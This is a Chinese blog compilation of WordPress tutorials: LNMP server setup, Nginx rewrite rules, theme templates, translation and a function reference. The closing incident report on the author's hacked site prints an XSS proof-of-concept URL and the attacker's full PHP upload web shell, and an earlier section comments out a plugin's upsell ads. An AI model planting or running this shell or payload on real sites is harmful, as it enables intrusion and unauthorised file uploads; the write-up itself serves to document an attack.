LNMP服务器配置WordPress站点

一键安装包LNMP环境搭建

一直以来都是使用LAMP服务器环境,但Nginx早就盛名在外了,所以这次有一个搭建新站的任务就决定尝试一下LNMP环境的搭建。本文中将暂不采用分别安装独立安装包的,而使用网上的一个一键安装包来完成,参考教程地址:http://lnmp.org/install.html

首先执行screen -S lnmp创建screen会话,出现如下提示

-bash: screen: command not found

于是安装screen:yum install screen -y,重新执行上述命令,然后获取一键安装包,同时解压并执行安装文件(安装文件百度网盘链接: http://pan.baidu.com/s/1o6latlg 密码: d259)

wget -c http://soft.vpser.net/lnmp/lnmp1.2-full.tar.gz && tar zxf lnmp1.2-full.tar.gz && cd lnmp1.2-full && ./install.sh lnmp

接着就开始设置MySQL的root账号密码

+------------------------------------------------------------------------+
|          LNMP V1.2 for CentOS Linux Server, Written by Licess          |
+------------------------------------------------------------------------+
|        A tool to auto-compile & install LNMP/LNMPA/LAMP on Linux       |
+------------------------------------------------------------------------+
|          For more information please visit http://www.lnmp.org         |
+------------------------------------------------------------------------+
Please setup root password of MySQL.(Default password: root)
Please enter:

确定是否需要开启InnoDB存储引擎

Do you want to enable or disable the InnoDB Storage Engine?
Default enable,Enter your choice [Y/n]: 

确定需安装的MySQLa或MariaDB的版本

You have 5 options for your DataBase install.
1: Install MySQL 5.1.73
2: Install MySQL 5.5.42 (Default)
3: Install MySQL 5.6.23
4: Install MariaDB 5.5.42
5: Install MariaDB 10.0.17
Enter your choice (1, 2, 3, 4 or 5):

确定所需安装的PHP版本

You have 5 options for your PHP install.
1: Install PHP 5.2.17
2: Install PHP 5.3.29
3: Install PHP 5.4.41 (Default)
4: Install PHP 5.5.25
5: Install PHP 5.6.9
Enter your choice (1, 2, 3, 4 or 5):

选择是否安装内存优化

You have 3 options for your Memory Allocator install.
1: Don't install Memory Allocator. (Default)
2: Install Jemalloc
3: Install TCMalloc
Enter your choice (1, 2 or 3): 

配置完成按任意键开始安装

Press any key to install...or Press Ctrl+c to cancel

安装成功后访问服务器ip地址后就会出现在/usr/local/nginx/conf/nginx.conf已配置的/home/wwwroot/default/index.html文件

Nginx安装完成页面

配置多站点

一键安装包已经自动在配置文件/usr/local/nginx/conf/nginx.conf中加入了include vhost/*.conf,因而可以在/usr/local/nginx/conf/vhost/文件夹下添加example.com.conf进行站点的配置。配置内容参考:

server {
        listen  80;
        server_name example.com www.example.com;
        location / {
            root   /var/www/example.com;
            index  index.php index.html index.htm;
        }
	}

location ~ \.php$ {

		root          /var/www/example.com;

		fastcgi_pass   127.0.0.1:9000;

		fastcgi_index  index.php;

		fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;

		include        fastcgi_params;

			}

直接安装Nginx

首先使用yum install nginx -y来进行nginx的安装

然后安装PHP, MySQL及常用的扩展

yum install httpd mysql php -y 
yum install php-devel php-fpm php-mysql php-gd libjpeg* php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-bcmath php-mhash libmcrypt -y  
yum install mysql-server mysql mysql-devel -y

设置开机启动Nginx, MySQL和php-fpm

chkconfig nginx on

chkconfig mysqld on

chkconfig php-fpm on

执行service mysqld start启动MySQL服务,然后输入mysql_secure_installation设置数据库root密码并删除测试库数据。

执行service nginx start启动http服务,然后在浏览器中输入服务器ip,就会出现如下默认页面

Nginx默认访问页面

可以看出Nginx主配置文件在/etc/nginx/nginx.conf中,可以在该文件中发现include /etc/nginx/conf.d/*.conf,所以配置多站点的方法与上面相似,只需在/etc/nginx/conf.d/文件夹下创建一个conf文件即可。

我们刚刚访问的页面就是default.conf中配置的/usr/share/nginx/html下的index.html文件

安装Wordpress

首先在MySQL上创建数据库用于安装时使用,然后上传Wordpress安装文件或直接使用wget http://wordpress.org/latest.tar.gz下载最新版本然后解压到/var/www/example.com目录下

输入服务器IP或设置好解析的域名开启Wordpress的安装,这里就不再赘述。

我们着重讲一下Wordpress在Nginx的rewrite配置,我们都知道Wordpress默认的.htaccess文件是针对Apache的,要在Nginx下实现类似的重写规则就需要进行额外的配置。配置的方法是在前面的/etc/nginx/conf.d/example.com.conf文件中的location / 内加入如下代码

if (-f $request_filename/index.php){
	   rewrite (.*) $1/index.php;
}
if (!-f $request_filename){
		rewrite (.*) /index.php;
}

 

 

WordPress中如何按照分类调取不同模板

默认的分类模板文件为category.php,但通常在开发中的需求不会这么简单

分类页面按按分类调取不同模板

如果想要不同分类调取不同分类的话,可以使用category加中间杠后接需使用该模板的分类Id号或别名(slug)来进行命名,如category-2.php或category-wordpress.php

也可以通过在category.php中通过判断id号来调用不同模板,比如

if ( is_category(array(1,2,3)) ) {
  include(TEMPLATEPATH . '/abc.php');
}else{
  include(TEMPLATEPATH . '/def.php');
}

上述方法可以还满足多个分类调用同一模板的需求,还有一种类似的方法,通过获取slug来调取对应的模板,如若模板不存在则调用默认的模板

$cat_ID = get_query_var('cat');
$cat = get_category($cat_ID);
$slug=$name = $cat->slug;
if ( '' !== locate_template( array("template-parts/category-$slug.php") ) ) {
  get_template_part( 'template-parts/category', $slug );
}else{
  get_template_part( 'template-parts/category', 'default');
}

以上代码可以精简为,因为在category-$slug.php不存在时,会自动调用该目录下的category.php

$cat_ID = get_query_var('cat');
$cat = get_category($cat_ID);
$slug=$name = $cat->slug;
get_template_part( 'template-parts/category', $slug );

文章页面按所属分类调取模板

很多时候我们需要分类下的文章页面根据不同分类使用不同的模板,类似地,我们可以通过in_category()函数来判断文章所属分类来调用不同模板,该函数中可以传入分类id,也可以使用分类别名(slug)

if ( in_category(array(1,2,3)) ) {
  include('template-parts/content-a.php');
}else {
  include('template-parts/content-b.php');
}

另外一种方法是根据所属分类别名来创建模板,如content-wordpress.php,不存在的直接调用content.php。不过这个方法存在一个问题,就是当文章属于多个分类时,需从数组中选择一个分类。

 $cat = get_the_category($post->ID); $slug = $cat[0]->slug; get_template_part('template-parts/content', $slug); 

独立页面调用不同模板

独立页面默认调用index.php作为模板,可通过新建page.php来作为独立页面模板。如果要单独为某一独立页面设置模板的话,可以在模板根目录中创建page-id.php,其中的id为该独立页面的id号。同样地,也可以采用页面别名page-slug.php的方式。

 

WordPress中多语言的实现方法

WordPress中有诸如qTranslate-X等插件可实现文章标题和内容的多语言,不过本文主要讲解模板开发中所涉及到的提示文本等的多语言实现。

首先需要在主题目录下创建一个languages文件夹,用于存放语言包文件。然后在模板目录下的functions.php,然后在代码中添加函数加载该文件夹,示例代码如下:

add_action('after_setup_theme', 'alanhou_setup');
function alanhou_setup(){
  load_theme_textdomain('alanhou', get_template_directory.'/languages');
}

完成以上准备工作后就需要用到Poedit软件了

Poedti软件界面

打开Poedit软件,如果已有语言包可在界面点击编辑翻译,否则点击文件>新建来创建您自己的语言包,然后在弹出窗口中选择要翻译的语言,本例中将英文翻译为中文,所以选择简体中文

简体中文

然后点击工具栏中的保存按钮,保存到相应主题的languages目录中,名称为zh_CN.po,然后点击从源代码中提取,在弹出的编目属性窗口中设置源路径源关键字,源路径采用主题根目录,源关键字这里使用Wordpress中默认的_e和__(前者直接输出,后者调取值),点击确定软件会自动解析所选目录下符合格式的文本(在代码中体现为_e(‘Category’,’alanhou’)或__(‘Author’,’alanhou’)),然后逐一翻译即可

源文本翻译

 

WordPress主题开发系列之自建模板

WordPress的默认集成有twentyfifteen之类的模板,位置在wp-content/themes下。如果想要安装或者开发主题,都需要在这个目录下来完成。

本例将在wp-content/themes目录下创建一个名为alanhou的文件夹,自开发的模板要求至少有index.php和style.css这两个文件。通常在style.css最上方会有一大段注释,用于在设置主题名称、版本等相关信息。细心的你一定还会发现在后台查看主题时还会有一张图片,这张图片来自主题文件夹下的screeshot.png, 建议大小为880*660px(或相似比例的图片)。

/*
Theme Name: Alan Hou
Theme URI: http://alanhou.org/
Author: Alan Hou
Author URI: http://alanhou.org/
Description: Alan Hou自开发主题,用于研究Wordpress二次开发相关知识
Version: 1.0.1
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Tags: alan, translation-ready, custom-menu
Text Domain: alanhou
*/

完成上述操作后在后台的效果如下

Wordpress Alan自建主题

首先我们先在index.php中加入代码,调用主题CSS,并输出博客的标题和描述,主要用到了bloginfo(), get_option(), wp_header()和wp_footer()方法示例代码如下:

<!doctype html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/htm; charset=<?php bloginfo('charset'); ?>" />
  <?php if(is_home()): $title = get_bloginfo('name'); else: $title = wp_title('', false); endif; if($paged>0):
      $title .= '-第'.$paged.'页';
    endif;
  ?>
  <title><?php echo $title; ?></title>
  <meta name="description" content="<?php bloginfo('description'); ?>" />
  <link rel="stylesheet" href="<?php bloginfo('stylesheet_url') ?>" type="text/css" ?>
  <?php wp_head(); ?>
</head>
<body>

<div id="header" class="fl">

<div id="header-left" class="fl">

<h1><a href="<?php echo get_option('home'); ?>"><?php bloginfo('name'); ?></a></h1>


<div class="description"><?php bloginfo('description'); ?></div>

    </div>


<div id="header-right" class="fr">
      
    </div>

  </div>


<div id="nav">

<ul><?php wp_nav_menu(); ?></ul>

  </div>


<div id="main" class="fl">
  </div>

  <?php wp_footer(); ?>
</body>

通过简单的css控制后就得到如下这样的头部

自定义主题头部

循环输出文章内容







<div id="posts" class="fl">
  <?php //判断是否有文章存在 if(have_posts()): while(have_posts()): //获取文章信息并存入全局变量$post中 the_post(); ?>






<div class="post-item">






<div class="post-title">
      <?php /*输出文章标题和链接*/ ?>
      <a href="<?php the_permalink?>">






<h2><?php the_title(); ?></h2>






</a>
    </div>












<div class="post-content">
      <?php /*输出文章内容*/ ?>
      <?php the_content(); ?>
    </div>












<div class="post-meta">
      <?php /*输出文章所属分类*/ ?>
      <?php the_category(); ?>
      <?php /*输出文章作者*/ ?>
      <?php the_author(); ?>
      <?php /*输出文章发布时间*/ ?>
      <?php the_time('Y-m-d'); ?>
      <?php /*输出编辑文章链接*/ ?>
      <?php edit_post_link('Edit','|',''); ?>
    </div>






  </div>






  <?php endwhile; else: echo "当前博客没有文章可供显示"; endif; ?>
</div>







侧边栏和翻页

调出翻页功能只需使用posts_nav_link()即可,而侧边栏使用get_sidebar(),如








<div class="nav_link fl">
  <?php posts_nav_link(); ?>
</div>







<?php get_sidebar(); ?>

通常需首先在functions.php中注册小工具(可同时注册多个小工具),这样才会在后台外观菜单下出现小工具从而进行拖放编辑,例如:

//注册一个侧边栏的小工具
 register_sidebar(
  array(
    'name' => '侧边栏',
    'before_widget' => '






<div class="sbox">',
    'after_widget' => '</div>







',
    'before_title' => '






<h2>',
    'after_title' => '</h2>







'
  )

在主题根目录下创建sidebar.php,使用dynamic_sidebar()调出后台小工具中设置的内容(该函数中可传入register_sidebar中的name值)








<div class="fr rightbox">
  <?php dynamic_sidebar(); ?>
</div>







但有时为防止小工具中未加入内容或者只是为了提高一些灵活性,也可以在side.php中自行加入相应模块,只需通过is_dynamic_sidebar()进行判断,然后输出相应模块即可。比如:






<div class="fr rightbox">
	<?php if(is_dynamic_sidebar()): dynamic_sidebar(); else: ?>





<div class="sbox">





<h2>分类</h2>










<ul>
			<?php wp_list_cats(); ?>
		</ul>





	</div>










<div class="sbox">





<h2>页面</h2>










<ul>
			<?php wp_list_pages(); ?>
		</ul>





	</div>





	





<div class="sbox">





<h2>注册登录</h2>










<ul>
			<?php wp_register(); ?>
			<?php wp_loginout(); ?>
		</ul>





	</div>





		
	<?php endif; ?>
</div>





常用的封装文件

如同侧边栏一样,头部和底部通常也是相同的,所以较为推荐的做法是在主题目录下创建header.php和footer.php,然后使用get_header()和get_footer()函数来进行调用。

分类页模板:

category.php

如果想要不同分类调取不同分类的话,可以使用category加中间杠后接需使用该模板的分类Id号或别名(slug)来进行命名,如category-2.php或category-wordpress.php

也可以通过在category.php中通过判断id号来调用不同模板,比如

if ( is_category(array(1,2,3)) ) {
  include(TEMPLATEPATH . '/abc.php');
}else{
  include(TEMPLATEPATH . '/def.php');
}

还有一种类似的方法

$cat_ID = get_query_var('cat');
$cat = get_category($cat_ID);
$slug=$name = $cat->slug;

if ( '' !== locate_template(  array("template-parts/category-$slug.php")  ) ) {
     get_template_part( 'template-parts/category', $slug );
}else{
	get_template_part( 'template-parts/category', 'default');
}

 

文章页模板

single.php

除了前面介绍的方法外还可以通过previous_post_link()和next_post_link()来输出上一篇和下一篇文章标题链接,同是还可以自定义文本,如previous_post_link(‘上一篇:%link’)

文章页面后台编辑页面中可以添加自定义栏目,名称和值将存放在wp_postmeta表中,可通过get_post_meta()来获取,如

get_post_meta($post->ID, ‘test’, true),其中true返回字符串,false返回数组

独立页面模板

独立页面默认调用index.php作为模板,可通过新建page.php来作为独立页面模板。如果要单独为某一独立页面设置模板的话,可以在模板根目录中创建page-id.php,其中的id为该独立页面的id号。同样地,也可以采用页面别名page-slug.php的方式。

评论文件

评论文件为根目录下的comments.php,然后在相应位置中通过comments_template()进行调用,与评论相关的数据表为wp_comments, wp_commentmeta。

可以通过comments_open()方法判断是否开启了评论功能,对于文章页面可以通过讨论栏止开启或关闭评论(如未找到请点击右上角显示选项进行勾选显示),

对于有密码保护的页面可使用post_password_required()函数进行判断

if(!comments_open()):
  echo "评论功能已关闭";
elseif(post_password_required()):
  echo "请输入密码查看评论";
elseif(!have_comments()):
  echo "还没有评论,赶紧来评论吧!";
else:
  wp_list_comments();
endif;

comment_registration通过后台设置>讨论下的用户必须注册并登录才可以发表评论开启


if(get_option('comment_registration') && !is_user_logged_in()):
  echo '你必须<a href="'.wp_login_url().'">登录</a>才能发表评论';
elseif(comments_open()):
  comment_form();
endif;

搜索页面

和其它页面一样,如果没有search.php文件,搜索页将会调用index.php作为模板,所以请创建search.php文件作为搜索页面

404页面

和其它页面一样,如果没有404.php文件,404页面将会调用index.php作为模板,所以请创建404.php文件作为404页面

WordPress SEO Ultimate插件去广告

很多使用Wordpress的朋友都会使用SEO Ultimate这个插件,它涉及到SEO的方方面面,比如可以通过它设置文章的title和description,同时对于没有编程基础的朋友通过Code Inserter来在header和footer中插入一些统计代码之类的JS也相当便捷,还可以在不调取服务器日志的情况下查看有哪些蜘蛛或个人访问过的404页面等等。

但是Alan经常在笔记本电脑上查看这个404页面报表时会发现右边的广告遮挡导致没有办法展开查看User Agent信息,很明显广告下方提到想要去除广告升级到SEO Ultimate+就好了,自然这是需要付银子的。于是对于这小小的不便Alan查看了一下代码,发现还是比较容易解决的。

SEO Ulimate广告

具体解决方法(以最新版7.6.5.8为例),打开wp-content/plugins/seo-ultimate/modules/class.su-module.php将3062行以下的相关代码进行注释即可,注释后的代码如下:

	function promo_sdf_banners() {
		
		//if ($this->should_show_sdf_theme_promo()) {	
			?>
			<!--div id="sds_promo_blog_post" class="hide">
			<?php $this->promo_sdf_banners_rss_output( 'http://feeds.seodesignsolutions.com/SeoDesignSolutionsBlog', array('show_summary' => 1, 'show_date' => 0, 'items' => 1) ); ?>
			</div>


<div id="sdf-promo-carousel"></div>



Remove these ads?
			<a href="https://seoultimateplus.com/?ref=su-rmv-ad" target="_blank" title="Upgrade to SEO Ultimate+">Upgrade to SEO Ultimate+</a></p-->
			<?php
		//}	

WordPress主题模板开发系列之数据库

数据库表前缀在安装时指定,记录在根目录下的wp-config.php的$table_prefix变量中,默认值为wp_,共11张表:

Wordpress数据库结构

文章评论信息表
wp_commentmeta(文章评论额外信息表)
wp_comments(文章评论信息表)
链接信息表
wp_links
基本配置信息表(对应后台设置>常规中的配置)
wp_options
文章信息表
wp_postmeta(文章额外数据表,文章的自定义字段等所存储的表格)
wp_posts
分类信息表
wp_terms(分类、标签的基础信息表)
wp_term_relationships(分类与文章、链接、菜单的关联表)
wp_term_taxonomy(分类补充信息表,区分terms信息的分类类型,有category, link, tag, nav_menu四种分类类型)
用户信息表
wp_usermeta(用户额外信息表)
wp_users(用户基本信息表,存放系统所有用户基本信息)

WordPress主题模板开发系列之核心文件

WordPress之强大不仅在于创建博客上,它还可用于搭建论坛、官网乃至电商网站。Alan使用Wordpress也有一些年头了,但一直都没有深入研究过,最近出于工作需要,决定学习Wordpress开发相关的知识,于是便有了这个Wordpress主题模板开发系列,边学习边总结。

第一步决定先从安装完成后的官方文件结构开始,打开Wordpress根目录,会看到如下文件或目录:

Worpress根目录文件和目录
下面我就来逐个分析主要的文件或目录的作用

index.php – WordPress入口文件,调用wp-blog-header.php
license.txt – WordPress授权许可文件
readme.html – WordPress安装、升级和在线资源等说明文件
wp-activate.php – 用户注册激活文件
wp-blog-header.php – 用于加载Wordpress的环境和模板,调用wp-load.php和 wp-includes/template-loader.php
wp-comments-post.php – 接收评论并添加到数据库
wp-config.php – MySQL数据库连接信息的配置文件,安装后自动生成
wp-config-sample.php – wp-config.php的示例文件
wp-cron.php – 用于执行定时任务的文件
wp-links-opml.php – 生成OPML格式的友情链接列表(WordPress 3.5以后需安装Link Manager插件来添加友情链接)
wp-load.php – 加载wp-config.php、设置路径常量、加载Wordpress类库
wp-login.php – 处理用户注册、登录、密码重置等的页面代码
wp-mail.php – 通过接收邮件发布文章
wp-settings.php – 运行前的例行程序,包括检查安装是否正确、使用辅助函数、应用用户插件、初始化执行计时器等等
wp-signup.php – 定义注册新用户账号、新分站的页面
wp-trackback.php – 处理Trackback请求
xmlrpc.php – 远程发布功能

wp-admin – 存放后台管理需要的类和文件
wp-includes – 存放wordpress强大的类库及核心函数的定义
wp-content – 存放语言包,插件、模板、上传文件等

Worpress常用函数

为方便Wordpress的二次开发的常见修改,将在本帖中整理一些经常使用的Wordpress函数,以便查找。

主要文件和目录

index.php    首页

header.php    头部

footer.php    底部

sidebar.php    侧边栏

category.php    目录页

single.php   文章页

functions.php    主题自定义函数

style.css    主css文件

Action和Filter相关

add_action(‘alan’, ‘functionA’)    将函数functionA挂载到动作alan上,还有优先级等可选参数

do_action(‘alan’)    执行挂载在动作alan上的所有函数

WordPress内置的Action请参阅:http://codex.wordpress.org/Action_Reference

add_filter(‘alan’, ‘functionA’)   将函数functionA挂载到过滤器alan上,还有优先级等可选参数

apply_filters(‘alan’, $arg)    将$arg传入挂载在动作alan上的所有函数并执行

WordPress内置的Filter请参阅:http://codex.wordpress.org/Plugin_API/Filter_Reference

首页分类相关

bloginfo()    获取博客相关信息

get_header()

get_sidebar()    调用默认侧边栏的内容或sidebar.php的内容

register_sidebar()    用于在functions.php中注册小工具,在后台外观>小工具中进行编辑,并通过dynamic_sidebar()函数调用

get_footer()

get_template_part()

the_archive_title()

posts_nav_link()    输出页码,可进行上下页翻页

wp_list_cats()    获取分类列表

single_cat_title()    获取当前分类名称

数据库相关

get_option()    从options表中取出数据

update_option()    向options表中插入数据

$wpdb->insert()    向指定表插入一条数据

$wpdb->insert_id    获取最新插入行的id

$wpdb->prefix    获取数据表前缀

$wpdb->update()    更新指定数据表中满足指定条件的记录

$wpdb->get_var()    通过传入SQL语句来获取指定的数据

$wpdb->query()    执行原生的SQL语句(DELETE, UPDATE)

$wpdb->get_results()    获取SELECT语句查询结果

$wpdb->get_row()    获取一行SELECT语句查询结果

$wpdb->show_errors()    开启显示SQL报错(在执行语句前开启)

$wpdb->last_error    获取上一次SQL语句的执行错误信息

$wpdb->print_error()    打印当前执行的最后一条SQL错误信息(需要先开启报错)

$wpdb->hide_errors()    隐藏SQL报错

文章相关

have_posts()    判断是否有文章存在

get_post()/the_post()    获取或输出文章

get_posts()    根据传入的限定条件来显示多篇文章

get_permalink()    获取文章或页面链接

wp_list_pages()    获取页面列表

get_links()    获取友情链接

get_the_category()/the_category()    获取或输出文章分类

get_category_link()    获取分类链接

the_author()    输出文章作者

the_time(‘Y-m-d’)    输出文章发布时间(可自行定义格式)

edit_post_link(‘Edit’,’|’,”)    输出编辑文章链接(第一个值为输出的内容,第二个值为其前面输出的内容,第三个值为其后面输出的内容)

previous_post_link()/next_post_link()    当前文章上/下一篇文章标题链接(可自定义相关的文本,如previous_post_link(‘上一篇:%link’))

get_post_meta()    获取通过自定义栏目中所设定的值,如(get_post_meta($post->ID, ‘test’, true),true获取字符串,false获取数组,若名称前带下划线的则会在后台中隐藏,无法直接编辑),相关的函数还有add_post_meta(), update_post_meta(),和delete_post_meta()

get_the_ID()    获取文章的id号,等同于$post->ID

comments_open()    判断文章是否开启了评论功能

have_comments()    判断是否存在评论

wp_list_comments()    输出评论信息

comment_form()    输出评论表单

post_password_required()    判断是否密码保护的文章

is_user_logged_in()    判断用户是否登录

wp_login_url()    登录链接

get_search_form()    获取搜索框

get_search_query()  获取当前搜索词,也可使用$s来进行获取

wp_nav_menu()    调取导航,有多个菜单供选择时可传入array(‘menu’=>’test’)来获取指定菜单

is_home()/is_category()/is_search()/is_404()/is_page()/is_single()    判断是否首页、分类页、搜索页、404页、独立页面、文章页

$paged    当前页数,第一页值为0

获取所属的第一个分类名

$categories = get_the_category();
 
if ( ! empty( $categories ) ) {
    echo esc_html( $categories[0]->name );   
}

 

想要查看更全的参考手册,请参见:https://developer.wordpress.org/reference/functions/

博客被入侵实录

网络上现在黑客行为无处不在,大公司也鲜有幸免者,频频被脱裤。前段时间Magento曝出高危漏洞,还有Wordpress的插件WordPress SEO by Yoast曝出存在SQL注入漏洞,今天看到Wordpress的默认主题竟然也存在着跨站脚本漏洞:
http:// site.com/wp-content/themes/twentyfifteen/genericons/example.html#1<img/ src=1 onerror= alert(1)>

于是前几天Alan的一个英文Wordpress站点也被攻击了,这个博客将近半年多没有打理,想必是未及时升级被人利用了之前的漏洞进行攻击。其实人在江湖谁能不挨刀呢,最让我无语的是这个黑客竟然上传了近两万个文件(html+js),差不多有两个G,这个站点布置在一个低配置的GoDaddy主机上,于是删文件花了我两个多小时。看来现在黑客也不好混呀,抓住一个就疯狂的掠夺。

文件都是一些Nike之类的仿牌,本人也不屑于去投诉什么的,做仿牌的也是苦海无涯啊,做大了就更麻烦了。

话说这个攻击就是利用漏洞在根目录添加了一个license.php文件,其实也就是用于处理上传文件的一个php脚本,代码如下文。

另外Google的灵敏度还是挺赞的,今天就收到了一封标题为[Webmaster Tools] Hacking suspected:http://www.domain.com的邮件,估计这种黑帽SEO手段在国外早就没什么效果了吧。

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=windows-utf-8">
		<title>utf</title>
	</head>
	<body>
		<?php
		print "<h1>#p@$c@#</h1>\n";
		echo "Your IP: ";
		echo $_SERVER['REMOTE_ADDR'];
		echo "<form method=\"post\" enctype=\"multipart/form-data\">\n";
		echo "<input type=\"file\" name=\"filename\"><br> \n";
		echo "<input type=\"submit\" value=\"LOAD\"><br>\n";
		echo "</form>\n";
		if(is_uploaded_file/*;*/($_FILES["filename"]["tmp_name"]))
			{
			move_uploaded_file/*;*/($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
			$file = $_FILES/*;*/["filename"]["name"];
			echo "<a href=\"$file\">$file</a>";
			} else {
			echo("empty");
			}
		$filename = $_SERVER[SCRIPT_FILENAME];
		touch/*;*/($filename, $time);
		?>
	</body>
</html>